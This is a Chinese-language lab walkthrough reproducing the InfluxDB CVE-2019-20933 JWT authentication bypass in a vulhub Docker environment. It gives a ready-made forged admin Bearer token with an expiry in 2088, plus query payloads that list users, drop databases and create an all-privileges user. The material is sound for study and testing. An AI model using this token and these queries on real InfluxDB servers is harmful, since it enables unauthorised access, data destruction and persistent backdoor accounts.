数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.
第一步:切换到 vulhub 目录下
cd vulhub

第二步:切换到 influxdb 目录下.
cd influxdb

第三步:切换到 CVE-2019-20933 漏洞目录下.
cd CVE-2019-20933

第四步:开启 漏洞 服务.
docker-compose up -d

第一步:访问 http://IP地址:8086/debug/vars 查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.(8086 是默认端口.)
http://192.168.0.105:8086/debug/vars

第二步:访问 http://IP地址:8086/query 查看查询功能是否会有提示需要登录.
http://192.168.0.105:8086/query

第三步:添加 POST 请求值.
db=sample&q=show users // 意思是:显示 数据库中的用户.

第四步:访问 URL ,然后用 Burp 进行抓包,再发给 Repeater(重发器)

第五步:通过 JSON Web Tokens - jwt.io 生成所需要的 Token:
- {
- "alg": "HS256",
- "typ": "JWT"
- }
-
- {
- "username": "admin",
- "exp": 3751718877
- }
( username需要已存在的用户才行,所以使用 admin 用户就好.)
( exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里我生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用):3751718877)
- 在线时间戳,转换器:
-
- https://www.beijing-time.org/shijianchuo/

第六步:在 Burp 抓包的数据包中添加 Authorization: Bearer (后面就是 Encoded 生成的值)【这个可以直接用,因为时间戳的结束是2088年】
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjozNzUxNzE4ODc3fQ.0w_-RJXNLryUpIZnglQGRDewVNty-_d9xuS-MdO4YDQ

第七步:如果要进行其他操作则修改 q= 你想要查看的信息就行.
- show users # 显示用户
-
- show databases # 显示数据库
-
- create database xxx # 创建xxx数据库
-
- drop database xxx # 删除xxx数据库
-
- create user influx with password '***' with all privileges; # 创建用户
